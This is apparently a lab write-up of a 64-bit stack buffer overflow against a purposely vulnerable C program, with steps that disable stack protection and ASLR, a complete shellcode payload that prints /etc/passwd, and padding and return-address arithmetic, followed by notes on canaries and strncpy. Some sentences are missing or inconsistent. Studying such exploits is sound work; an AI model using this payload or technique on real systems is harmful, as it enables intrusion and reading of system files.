Buffer Overflow Exploit
here.The writeup of this exploit was found
Note: All of the following applies to 64-bit systems, in which the length of an address is 8-bytes.
This exploit works by overflowing the stack in order to override the return address to point at code that you would like to run. In this exploit, the strcpy function copies user input into the 256-byte buffer. However, strcpy doesn't check bounds, so it copies more than 256 bytes into the array. These last 4 bytes override the return address of the function. When the function returns, the instruction pointer will move to the beginning of the array, and arbitrary code will be run.
In this exploit, the code that will be run simply prints the contents of "/etc/passwd". You can replace the code to be run by replacing the first part of the exploit string.
Compiling the exploitable C code
In order to compile the code, run the command
gcc -m64 buffer_overflow.c -o buffer_overflow -z execstack -fno-stack-protector. These compiler flags tell the compiler not to compile the code with stack protection in place. On modern operating systems, stack protection is built in by default, and this type of exploit won't work without explicitly disabling security features.
Compiling the "malicious" assembly code
To compile the "malicious" code, run the following commands:
nasm -f elf64 buffer_overflow_readfile.asm -o buffer_overflow_readfile.o for i in $(objdump -d buffer_overflow_readfile.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
The output on my system is:
Next, we need to find the length of that. You can count the number of
\xs. An easier way may be to do the following:
python -c 'print len("*your string here*")'
, where you paste the output of the step above inside the
On my system, this outputs 82. This is the length of your shellcode.
The following command will run the exploit. There are three things that you might need to adjust for this to work on your system. (As well as pasting in the output from the Compiling the "malicious" assembly code above).
./buffer_overflow $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 + "\x7f\xff\xff\xff\xd9\x50"[::-1]')
First, you need to disable 'address space layout randomization' (ASLR). This feature changes the address that memory is allocated, so that you can't hardcode the address of the beginning of the array so that you wouldn't be able to hardcode the address and override the return address with the address of the array. In order to disable this feature on Linux, run
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'. This feature is re-enabled on reboot, so your system will be secure with a reboot again.
Second, you need to modify the last portion of the string, which needs to be set to the address of the beginning of the buffer. In this case,
0x7fffffffd950 was the address of the beginning of my array, so I set the last portion of the exploit string to
\x7f\xff\xff\xff\xd9\x50. In order to find the address of your buffer, simply run
./buffer_overflow test. The first thing that you should see printed in the output is the address of the buffer. Place this address in the exploit string below.
Third, you need to modify the number of "A"s that you have. The total number of bytes that I found that strcpy needs in order to override the return address is 264. This may vary from system to system depending on offsets (with alignment, the buffer might actually be more or less than 264 bytes away from the return address). In order to find this difference, follow the writeup above. Alternatively, you could simply guess what the number of bytes needed is. (It won't be less than 264 bytes away, because the buffer is 256 bytes in length and there is an 8-byte base pointer between the buffer memory and the return address). In order to guess, just keep adding 4 to the 182 until the exploit works.
The value of 182 was found by calculating that the side of the code that will be run is 82 bytes, and the distance between the buffer and return address being 264. The 182 comes from 264 - 82, because the 182 bytes after the 82 byte unsigned code need to be filled with filler data. If you would like to replace the code to be run in the exploit, replace the first part of the string and adjust the number of "A"s so that the total length of the code and "A"s is 264 (or whatever the difference in address of buffer and return address is).
There are two main ways to mitigate this exploit: using a canary value and strcpy bounds checking.
A canary value is a value that is placed on the stack and checked before returning from the function in order to see whether the value has changed. In buffer overflow attacks, all values between the address of the buffer (which has a lower address than the canary value) and the return address (which has a higher address than the canary value) are overriden. The canary value is checked before returning. If the canary value has changed, you know that the user executed a buffer overflow attack and you can safely exit without allowing the user to use the return value.
strcpy Bounds Checking
strcpy is an unsafe function that does no bounds checking, and only stops copying data into the buffer when it reaches a '\0' (null terminator) in the string. Thus, in this program, even though the buffer has a size of 256, we give it a string that is 264 bytes in length in order to overflow the buffer and override the return address. To prevent people from exploiting your code if you need to use
strncpy is the same as
strcpy, except that you pass it a parameter that specifies the maximum length of string that you would like to copy. In this case, using
strncpy with a parameter of 256 or less would prevent this buffer overflow.